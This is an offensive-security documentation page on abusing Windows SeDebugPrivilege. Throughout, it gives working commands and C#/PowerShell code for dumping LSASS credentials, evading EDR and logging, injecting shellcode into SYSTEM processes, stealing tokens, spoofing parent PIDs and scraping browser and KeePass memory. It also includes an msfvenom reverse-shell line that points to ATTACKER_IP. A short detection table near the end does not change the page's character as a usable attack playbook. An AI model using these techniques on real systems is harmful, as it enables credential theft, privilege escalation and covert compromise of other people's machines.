> ## Documentation Index
> Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
> Use this file to discover all available pages before exploring further.

# SeDebugPrivilege

> Deep exploitation of SeDebugPrivilege — LSASS dumps, process injection, token duplication, PPID spoofing, and memory reading for SYSTEM access.

## Overview

`SeDebugPrivilege` allows a process to open any other process on the system with `PROCESS_ALL_ACCESS`, regardless of the security descriptor on that process. This means full read/write/execute access to SYSTEM-level processes like `lsass.exe`, `winlogon.exe`, and `services.exe`.

**Who has it by default:**

| Account          | Has SeDebugPrivilege                            |
| ---------------- | ----------------------------------------------- |
| Administrators   | Yes (disabled by default, enabled on elevation) |
| SYSTEM           | Yes                                             |
| Standard users   | No                                              |
| Service accounts | No (unless explicitly granted)                  |

In practice, any elevated Administrator shell has this privilege available. It is the single most powerful user-mode privilege on Windows.

***

## Check if Enabled

```cmd theme={"dark"}
whoami /priv | findstr SeDebugPrivilege
```

```powershell theme={"dark"}
(whoami /priv /fo csv | ConvertFrom-Csv) | Where-Object { $_.'Privilege Name' -eq 'SeDebugPrivilege' }
```

If the state shows **Disabled**, enable it from an elevated context:

```powershell theme={"dark"}
# PowerShell — enable SeDebugPrivilege in current process
Import-Module .\Enable-Privilege.ps1
Enable-Privilege SeDebugPrivilege
```

```
# Meterpreter — already enabled automatically
meterpreter > getprivs
```

<Note>
  Even when `whoami /priv` shows SeDebugPrivilege as **Disabled**, any elevated Administrator process can enable it programmatically. Disabled does not mean removed — it means not yet activated in the current token.
</Note>

***

## How It Works Technically

Windows process security is enforced by the kernel through security descriptors on process objects. When a thread calls `OpenProcess()`, the kernel checks:

1. The requested access mask (e.g., `PROCESS_ALL_ACCESS`)
2. The DACL on the target process
3. The caller's token privileges

Normally, even Administrators cannot open SYSTEM processes because the DACL denies them. **SeDebugPrivilege bypasses step 2 entirely** — the kernel skips the DACL check and grants whatever access was requested.

This means with SeDebugPrivilege enabled, you can:

* **Read memory** of any process (`ReadProcessMemory`)
* **Write memory** into any process (`WriteProcessMemory`)
* **Create threads** in any process (`CreateRemoteThread`, `NtCreateThreadEx`)
* **Duplicate handles** from any process (`DuplicateHandle`)
* **Duplicate tokens** from any process (`OpenProcessToken` + `DuplicateTokenEx`)
* **Terminate** any process

The kernel enforces this in `SeAccessCheck` — when `SeDebugPrivilege` is present and enabled in the token, the access check against the process DACL is skipped entirely, and `PROCESS_ALL_ACCESS` is granted.

***

## Dump LSASS — ProcDump

Microsoft-signed Sysinternals tool. Often whitelisted by AV.

```cmd theme={"dark"}
procdump.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp
```

By PID:

```cmd theme={"dark"}
tasklist | findstr lsass
procdump.exe -accepteula -ma <PID> C:\Windows\Temp\lsass.dmp
```

<Note>
  Modern EDR flags `procdump` targeting `lsass.exe` by name. Use the PID instead, or rename the binary.
</Note>

***

## Dump LSASS — comsvcs.dll (LOLBin)

No tools needed. Uses a built-in Windows DLL.

### Find LSASS PID

```cmd theme={"dark"}
tasklist | findstr lsass
```

```powershell theme={"dark"}
(Get-Process lsass).Id
```

### Dump

```cmd theme={"dark"}
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\Windows\Temp\lsass.dmp full
```

One-liner with PowerShell PID resolution:

```powershell theme={"dark"}
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp full
```

### Evade Command-Line Logging

Copy `comsvcs.dll` to avoid detection rules matching the original path:

```cmd theme={"dark"}
copy C:\Windows\System32\comsvcs.dll C:\Windows\Temp\cs.dll
rundll32.exe C:\Windows\Temp\cs.dll, MiniDump <PID> C:\Windows\Temp\out.dmp full
```

***

## Dump LSASS — EDR Bypass Tools

When LSASS is protected by PPL (Protected Process Light) or when EDR hooks `MiniDumpWriteDump`, use these.

### nanodump

Uses direct syscalls to avoid API hooking. Creates a valid minidump without calling `MiniDumpWriteDump`.

```bash theme={"dark"}
https://github.com/helpsystems/nanodump
```

```cmd theme={"dark"}
nanodump.exe -w C:\Windows\Temp\lsass.dmp
```

Signature-based evasion — write an invalid signature (fix later):

```cmd theme={"dark"}
nanodump.exe -w C:\Windows\Temp\lsass.dmp --invalid
```

Fix the signature offline:

```bash theme={"dark"}
python3 nanodump_restore.py lsass.dmp
```

### HandleKatz

Clones an existing handle to LSASS instead of opening a new one. Avoids `OpenProcess` detection.

```bash theme={"dark"}
https://github.com/codewhitesec/HandleKatz
```

```cmd theme={"dark"}
HandleKatz.exe --pid:<LSASS_PID> --outfile:C:\Windows\Temp\lsass.dmp
```

### PPLdump

Bypasses Protected Process Light by exploiting a known DLL loading behavior in PPL processes.

```bash theme={"dark"}
https://github.com/itm4n/PPLdump
```

```cmd theme={"dark"}
PPLdump.exe lsass.exe C:\Windows\Temp\lsass.dmp
```

### PPLKiller / PPLFault

Disables PPL protection entirely by exploiting Windows Error Reporting or kernel driver:

```bash theme={"dark"}
https://github.com/gabriellandau/PPLFault
```

```cmd theme={"dark"}
PPLFault.exe -pid <LSASS_PID> -dump C:\Windows\Temp\lsass.dmp
```

***

## Dump LSASS — Task Manager (GUI)

If you have RDP or GUI access:

1. Open **Task Manager** as Administrator
2. Go to the **Details** tab
3. Right-click `lsass.exe` → **Create dump file**
4. Dump saved to `C:\Users\%USERNAME%\AppData\Local\Temp\lsass.DMP`

Transfer the dump to your attacker machine for offline parsing.

***

## Parse Dumps Offline

### pypykatz (Linux/macOS/Windows)

```bash theme={"dark"}
pip3 install pypykatz
```

```bash theme={"dark"}
pypykatz lsa minidump lsass.dmp
```

Extract only NTLM hashes:

```bash theme={"dark"}
pypykatz lsa minidump lsass.dmp -k /tmp/kerberos_tickets
```

Parse and grep for hashes:

```bash theme={"dark"}
pypykatz lsa minidump lsass.dmp 2>/dev/null | grep -A2 "NT:"
```

### Mimikatz (Windows / Offline)

```
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
```

Extract specific credential types:

```
mimikatz # sekurlsa::msv
mimikatz # sekurlsa::wdigest
mimikatz # sekurlsa::kerberos
mimikatz # sekurlsa::tspkg
```

### What You Get from LSASS

| Credential Type     | When Available                                           |
| ------------------- | -------------------------------------------------------- |
| NTLM hashes         | Always (all logged-in users)                             |
| Plaintext passwords | WDigest enabled (Win 2012 R2 and older, or if forced on) |
| Kerberos tickets    | Active TGT/TGS in memory                                 |
| DPAPI master keys   | Per-user encryption keys                                 |

***

## Migrate into SYSTEM Process (Meterpreter)

The fastest path to SYSTEM with SeDebugPrivilege.

### List SYSTEM Processes

```
meterpreter > ps
```

Look for processes running as `NT AUTHORITY\SYSTEM`:

| Process        | PID (varies) | Notes                  |
| -------------- | ------------ | ---------------------- |
| `winlogon.exe` | —            | Stable, always running |
| `lsass.exe`    | —            | Risky — can crash      |
| `services.exe` | —            | Stable                 |
| `svchost.exe`  | —            | Many instances         |

### Migrate

```
meterpreter > migrate <winlogon_PID>
```

After migration:

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

<Warning>
  Never migrate into `lsass.exe` — if your payload crashes, the entire system goes down. Use `winlogon.exe` or `services.exe` instead.
</Warning>

***

## Inject Shellcode — CreateRemoteThread

Classic process injection. Open a SYSTEM process, allocate memory, write shellcode, execute via remote thread.

### PowerShell PoC

```powershell theme={"dark"}
# Target: winlogon.exe (runs as SYSTEM)
$proc = Get-Process winlogon | Select-Object -First 1
$procId = $proc.Id

# Win32 API definitions
$code = @"
using System;
using System.Runtime.InteropServices;
public class Inject {
    [DllImport("kernel32.dll")]
    public static extern IntPtr OpenProcess(uint access, bool inherit, int pid);

    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAllocEx(IntPtr hProc, IntPtr addr, uint size, uint type, uint protect);

    [DllImport("kernel32.dll")]
    public static extern bool WriteProcessMemory(IntPtr hProc, IntPtr addr, byte[] buf, uint size, out uint written);

    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateRemoteThread(IntPtr hProc, IntPtr attr, uint stackSize, IntPtr startAddr, IntPtr param, uint flags, out uint threadId);
}
"@

Add-Type $code

# msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f csharp
[byte[]]$shellcode = 0xfc,0x48,0x83,...  # YOUR SHELLCODE HERE

$PROCESS_ALL_ACCESS = 0x001F0FFF
$MEM_COMMIT = 0x1000
$MEM_RESERVE = 0x2000
$PAGE_EXECUTE_READWRITE = 0x40

$hProc = [Inject]::OpenProcess($PROCESS_ALL_ACCESS, $false, $procId)
$addr = [Inject]::VirtualAllocEx($hProc, [IntPtr]::Zero, [uint32]$shellcode.Length, ($MEM_COMMIT -bor $MEM_RESERVE), $PAGE_EXECUTE_READWRITE)
$written = [uint32]0
[Inject]::WriteProcessMemory($hProc, $addr, $shellcode, [uint32]$shellcode.Length, [ref]$written)
$threadId = [uint32]0
[Inject]::CreateRemoteThread($hProc, [IntPtr]::Zero, 0, $addr, [IntPtr]::Zero, 0, [ref]$threadId)
```

Generate the shellcode on your attacker machine:

```bash theme={"dark"}
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f csharp
```

***

## Inject Shellcode — NtCreateThreadEx (Stealth)

`CreateRemoteThread` is heavily monitored by EDR. `NtCreateThreadEx` is the underlying syscall and bypasses user-mode hooks.

### C# Implementation

```csharp theme={"dark"}
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;

class StealthInject
{
    [DllImport("ntdll.dll")]
    static extern uint NtCreateThreadEx(
        out IntPtr hThread,
        uint access,
        IntPtr objAttr,
        IntPtr hProcess,
        IntPtr startAddr,
        IntPtr param,
        bool suspended,
        uint stackZeroBits,
        uint sizeOfStackCommit,
        uint sizeOfStackReserve,
        IntPtr bytesBuffer
    );

    [DllImport("kernel32.dll")]
    static extern IntPtr OpenProcess(uint access, bool inherit, int pid);

    [DllImport("kernel32.dll")]
    static extern IntPtr VirtualAllocEx(IntPtr hProc, IntPtr addr, uint size, uint type, uint protect);

    [DllImport("kernel32.dll")]
    static extern bool WriteProcessMemory(IntPtr hProc, IntPtr addr, byte[] buf, uint size, out uint written);

    static void Main()
    {
        int pid = Process.GetProcessesByName("winlogon")[0].Id;

        IntPtr hProc = OpenProcess(0x001F0FFF, false, pid);
        IntPtr addr = VirtualAllocEx(hProc, IntPtr.Zero, 4096, 0x3000, 0x40);

        // Replace with your shellcode
        byte[] sc = new byte[] { 0xfc, 0x48, 0x83 /* ... */ };
        uint written;
        WriteProcessMemory(hProc, addr, sc, (uint)sc.Length, out written);

        IntPtr hThread;
        NtCreateThreadEx(out hThread, 0x1FFFFF, IntPtr.Zero, hProc, addr, IntPtr.Zero,
            false, 0, 0, 0, IntPtr.Zero);
    }
}
```

Compile on attacker machine:

```cmd theme={"dark"}
csc.exe /unsafe /out:inject.exe inject.cs
```

<Note>
  For maximum stealth, combine `NtCreateThreadEx` with direct syscalls (SysWhispers) to avoid ntdll hooking entirely. The above still imports from `ntdll.dll` which EDR can hook.
</Note>

***

## Process Hollowing into SYSTEM Process

Create a SYSTEM process in a suspended state, hollow out its memory, replace with your payload, and resume.

### Flow

```
CreateProcess (suspended) → NtUnmapViewOfSection → VirtualAllocEx → WriteProcessMemory → SetThreadContext → ResumeThread
```

### C# Implementation

```csharp theme={"dark"}
using System;
using System.Runtime.InteropServices;

class Hollow
{
    [DllImport("kernel32.dll")]
    static extern bool CreateProcess(string app, string cmd, IntPtr procAttr, IntPtr threadAttr,
        bool inherit, uint flags, IntPtr env, string dir, byte[] si, byte[] pi);

    [DllImport("ntdll.dll")]
    static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr);

    [DllImport("kernel32.dll")]
    static extern IntPtr VirtualAllocEx(IntPtr hProc, IntPtr addr, uint size, uint type, uint protect);

    [DllImport("kernel32.dll")]
    static extern bool WriteProcessMemory(IntPtr hProc, IntPtr addr, byte[] buf, uint size, out uint written);

    [DllImport("kernel32.dll")]
    static extern uint ResumeThread(IntPtr hThread);

    // CREATE_SUSPENDED = 0x4
    // Steps:
    // 1. CreateProcess("svchost.exe", ..., CREATE_SUSPENDED)
    // 2. NtUnmapViewOfSection to hollow the original code
    // 3. VirtualAllocEx at the image base
    // 4. WriteProcessMemory with your PE payload
    // 5. SetThreadContext to point EIP/RIP to your entry point
    // 6. ResumeThread
}
```

### Using Donut + Process Hollowing

Generate shellcode from any .NET assembly:

```bash theme={"dark"}
# Generate shellcode from a .NET exe
donut -i payload.exe -o payload.bin

# Or from a specific class/method
donut -i payload.dll -c Namespace.Class -m Method -o payload.bin
```

Then inject the Donut shellcode using CreateRemoteThread or NtCreateThreadEx as shown above.

***

## Duplicate SYSTEM Token

Instead of injecting into a SYSTEM process, steal its token and impersonate it.

### PowerShell

```powershell theme={"dark"}
# Find a SYSTEM process
$systemProc = Get-Process -Name winlogon | Select-Object -First 1

# Use Win32 API to duplicate token
$code = @"
using System;
using System.Runtime.InteropServices;
public class TokenSteal {
    [DllImport("kernel32.dll")]
    public static extern IntPtr OpenProcess(uint access, bool inherit, int pid);

    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool OpenProcessToken(IntPtr hProc, uint access, out IntPtr hToken);

    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool DuplicateTokenEx(IntPtr hToken, uint access, IntPtr attr,
        int impLevel, int tokenType, out IntPtr newToken);

    [DllImport("advapi32.dll", SetLastError = true)]
    public static extern bool CreateProcessWithTokenW(IntPtr hToken, uint logonFlags,
        string appName, string cmdLine, uint creationFlags, IntPtr env,
        string curDir, byte[] si, byte[] pi);
}
"@

Add-Type $code

$PROCESS_QUERY_INFORMATION = 0x0400
$TOKEN_ALL_ACCESS = 0xF01FF
$SecurityImpersonation = 2
$TokenPrimary = 1

$hProc = [TokenSteal]::OpenProcess($PROCESS_QUERY_INFORMATION, $false, $systemProc.Id)

$hToken = [IntPtr]::Zero
[TokenSteal]::OpenProcessToken($hProc, $TOKEN_ALL_ACCESS, [ref]$hToken)

$newToken = [IntPtr]::Zero
[TokenSteal]::DuplicateTokenEx($hToken, $TOKEN_ALL_ACCESS, [IntPtr]::Zero, $SecurityImpersonation, $TokenPrimary, [ref]$newToken)

# Launch cmd.exe as SYSTEM
$si = New-Object byte[] 104  # STARTUPINFO struct (x64)
$pi = New-Object byte[] 24   # PROCESS_INFORMATION struct
[BitConverter]::GetBytes([int]104).CopyTo($si, 0)  # cb field

[TokenSteal]::CreateProcessWithTokenW($newToken, 0, "C:\Windows\System32\cmd.exe", $null, 0, [IntPtr]::Zero, $null, $si, $pi)
```

### Meterpreter — Incognito

```
meterpreter > load incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"
```

### Metasploit — steal\_token

```
meterpreter > ps
meterpreter > steal_token <SYSTEM_PID>
```

***

## Parent PID Spoofing

Create a new process whose parent is a SYSTEM process (`winlogon.exe`, `lsass.exe`). The child inherits the parent's token.

### PowerShell — psgetsystem

```bash theme={"dark"}
https://github.com/decoder-it/psgetsystem
```

```powershell theme={"dark"}
Import-Module .\psgetsys.ps1
[MyProcess]::CreateProcessFromParent((Get-Process winlogon).Id, "cmd.exe")
```

### Manual — PROC\_THREAD\_ATTRIBUTE\_PARENT\_PROCESS

```powershell theme={"dark"}
$code = @"
using System;
using System.Runtime.InteropServices;
public class PPIDSpoof {
    [DllImport("kernel32.dll")]
    public static extern IntPtr OpenProcess(uint access, bool inherit, int pid);

    [DllImport("kernel32.dll")]
    public static extern bool InitializeProcThreadAttributeList(IntPtr attrList, int count, int flags, ref IntPtr size);

    [DllImport("kernel32.dll")]
    public static extern bool UpdateProcThreadAttribute(IntPtr attrList, uint flags, IntPtr attr,
        IntPtr value, IntPtr size, IntPtr prevValue, IntPtr retSize);

    [DllImport("kernel32.dll")]
    public static extern bool CreateProcessA(string app, string cmd, IntPtr procAttr, IntPtr threadAttr,
        bool inherit, uint flags, IntPtr env, string dir, byte[] si, byte[] pi);

    // PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000
    // EXTENDED_STARTUPINFO_PRESENT = 0x00080000
}
"@

Add-Type $code

# Open winlogon as parent
$parentPid = (Get-Process winlogon | Select-Object -First 1).Id
$hParent = [PPIDSpoof]::OpenProcess(0x001F0FFF, $false, $parentPid)

# Initialize attribute list with parent handle
# Then CreateProcess with EXTENDED_STARTUPINFO_PRESENT flag
# The child process (cmd.exe) will run as SYSTEM
```

### C# — Full Implementation

```csharp theme={"dark"}
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

class PPIDSpoof
{
    [DllImport("kernel32.dll")]
    static extern IntPtr OpenProcess(uint access, bool inherit, int pid);

    [DllImport("kernel32.dll")]
    static extern bool InitializeProcThreadAttributeList(IntPtr attrList, int count, int flags, ref IntPtr size);

    [DllImport("kernel32.dll")]
    static extern bool UpdateProcThreadAttribute(IntPtr attrList, uint flags, IntPtr attr,
        ref IntPtr value, IntPtr size, IntPtr prevValue, IntPtr retSize);

    [DllImport("kernel32.dll", CharSet = CharSet.Unicode)]
    static extern bool CreateProcess(string app, string cmd, IntPtr procSec, IntPtr threadSec,
        bool inherit, uint flags, IntPtr env, string dir,
        ref STARTUPINFOEX si, out PROCESS_INFORMATION pi);

    [StructLayout(LayoutKind.Sequential)]
    struct STARTUPINFOEX
    {
        public STARTUPINFO StartupInfo;
        public IntPtr lpAttributeList;
    }

    [StructLayout(LayoutKind.Sequential)]
    struct STARTUPINFO
    {
        public int cb;
        public IntPtr lpReserved, lpDesktop, lpTitle;
        public int dwX, dwY, dwXSize, dwYSize, dwXCountChars, dwYCountChars, dwFillAttribute, dwFlags;
        public short wShowWindow, cbReserved2;
        public IntPtr lpReserved2, hStdInput, hStdOutput, hStdError;
    }

    [StructLayout(LayoutKind.Sequential)]
    struct PROCESS_INFORMATION
    {
        public IntPtr hProcess, hThread;
        public int dwProcessId, dwThreadId;
    }

    static void Main()
    {
        int parentPid = Process.GetProcessesByName("winlogon")[0].Id;
        IntPtr hParent = OpenProcess(0x001F0FFF, false, parentPid);

        IntPtr size = IntPtr.Zero;
        InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref size);
        IntPtr attrList = Marshal.AllocHGlobal(size);
        InitializeProcThreadAttributeList(attrList, 1, 0, ref size);

        IntPtr parentHandle = hParent;
        UpdateProcThreadAttribute(attrList, 0, (IntPtr)0x00020000, ref parentHandle,
            (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero);

        var si = new STARTUPINFOEX();
        si.StartupInfo.cb = Marshal.SizeOf(si);
        si.lpAttributeList = attrList;

        PROCESS_INFORMATION pi;
        // EXTENDED_STARTUPINFO_PRESENT = 0x00080000
        CreateProcess(null, "cmd.exe", IntPtr.Zero, IntPtr.Zero, false,
            0x00080000, IntPtr.Zero, null, ref si, out pi);

        Console.WriteLine($"[+] Spawned cmd.exe as PID {pi.dwProcessId} with parent {parentPid}");
    }
}
```

Common SYSTEM parent targets:

| Process        | PID Stability | Notes                                       |
| -------------- | ------------- | ------------------------------------------- |
| `winlogon.exe` | Stable        | Best target — always SYSTEM, always running |
| `lsass.exe`    | Stable        | Works but risky if your process crashes     |
| `services.exe` | Stable        | Good alternative                            |
| `csrss.exe`    | Stable        | Protected on newer Windows                  |

***

## Read Memory of Any Process

SeDebugPrivilege lets you read the memory of any running process. Useful for extracting credentials from applications that store them in memory.

### Browser Credentials (Chrome)

Chrome stores decryption keys and cookies in memory:

```powershell theme={"dark"}
$chrome = Get-Process chrome | Select-Object -First 1

$code = @"
using System;
using System.Runtime.InteropServices;
public class MemRead {
    [DllImport("kernel32.dll")]
    public static extern IntPtr OpenProcess(uint access, bool inherit, int pid);

    [DllImport("kernel32.dll")]
    public static extern bool ReadProcessMemory(IntPtr hProc, IntPtr baseAddr, byte[] buffer, uint size, out uint read);
}
"@

Add-Type $code

$PROCESS_VM_READ = 0x0010
$PROCESS_QUERY_INFORMATION = 0x0400
$hProc = [MemRead]::OpenProcess(($PROCESS_VM_READ -bor $PROCESS_QUERY_INFORMATION), $false, $chrome.Id)

# Read memory region
$buffer = New-Object byte[] 4096
$read = [uint32]0
[MemRead]::ReadProcessMemory($hProc, [IntPtr]0x00000000, $buffer, 4096, [ref]$read)
```

### KeePass — CVE-2023-32784

Extract the master password from KeePass process memory:

```bash theme={"dark"}
https://github.com/vdohney/keepass-password-dumper
```

```cmd theme={"dark"}
dotnet run -- C:\Windows\Temp\keepass.dmp
```

Or dump the KeePass process directly:

```cmd theme={"dark"}
procdump.exe -accepteula -ma KeePass.exe C:\Windows\Temp\keepass.dmp
```

### Windows Credential Manager / DPAPI

Dump credential blobs from memory:

```cmd theme={"dark"}
# Mimikatz — extract DPAPI credentials
mimikatz # sekurlsa::dpapi
```

```powershell theme={"dark"}
# Read credential files
Get-ChildItem C:\Users\*\AppData\Local\Microsoft\Credentials\*
Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Credentials\*
```

***

## Quick Reference

| Technique                    | Tools Needed             | Detection Risk                       | SYSTEM Access         |
| ---------------------------- | ------------------------ | ------------------------------------ | --------------------- |
| LSASS dump (procdump)        | procdump.exe             | Medium — signed but flagged by name  | No (credential theft) |
| LSASS dump (comsvcs.dll)     | None (built-in)          | Medium — LOLBin, command-line logged | No (credential theft) |
| LSASS dump (nanodump)        | nanodump.exe             | Low — direct syscalls                | No (credential theft) |
| LSASS dump (HandleKatz)      | HandleKatz.exe           | Low — handle duplication             | No (credential theft) |
| LSASS dump (PPLdump)         | PPLdump.exe              | Medium — bypasses PPL                | No (credential theft) |
| LSASS dump (Task Manager)    | None (GUI)               | High — very visible                  | No (credential theft) |
| Meterpreter migrate          | Meterpreter              | Medium — well-known                  | Yes                   |
| CreateRemoteThread injection | Custom code              | High — heavily hooked by EDR         | Yes                   |
| NtCreateThreadEx injection   | Custom code              | Low — bypasses user-mode hooks       | Yes                   |
| Process hollowing            | Custom code              | Low-Medium — no new threads          | Yes                   |
| Token duplication            | Custom code or Incognito | Medium                               | Yes                   |
| PPID spoofing                | psgetsystem or custom    | Low — legitimate API usage           | Yes                   |
| Memory reading (browsers)    | Custom code              | Low — passive read                   | No (credential theft) |
| Memory reading (KeePass)     | keepass-password-dumper  | Low — offline on dump                | No (credential theft) |

***

## Detection and Logging

What defenders see when you use SeDebugPrivilege:

| Event ID | Log      | What It Catches                                                  |
| -------- | -------- | ---------------------------------------------------------------- |
| 4672     | Security | Special privileges assigned to new logon (SeDebugPrivilege)      |
| 4688     | Security | Process creation (shows parent PID, command line)                |
| 10       | Sysmon   | Process access (TargetImage: lsass.exe, GrantedAccess: 0x1FFFFF) |
| 8        | Sysmon   | CreateRemoteThread detected                                      |
| 1        | Sysmon   | Process creation with parent PID anomalies                       |
| 25       | Sysmon   | Process tampering (process hollowing)                            |

### Evasion Notes

* Avoid `PROCESS_ALL_ACCESS` (0x1FFFFF) — request minimum required access instead
* `PROCESS_VM_READ | PROCESS_QUERY_INFORMATION` (0x0410) for memory reading only
* `PROCESS_CREATE_THREAD | PROCESS_VM_WRITE | PROCESS_VM_OPERATION` (0x002A) for injection
* Use direct syscalls (SysWhispers2/3) to bypass ntdll hooks
* Unhook ntdll in your process before calling APIs
* Use `NtCreateThreadEx` instead of `CreateRemoteThread`
* For PPID spoofing, target `svchost.exe` instead of `winlogon.exe` — less anomalous parent-child relationship
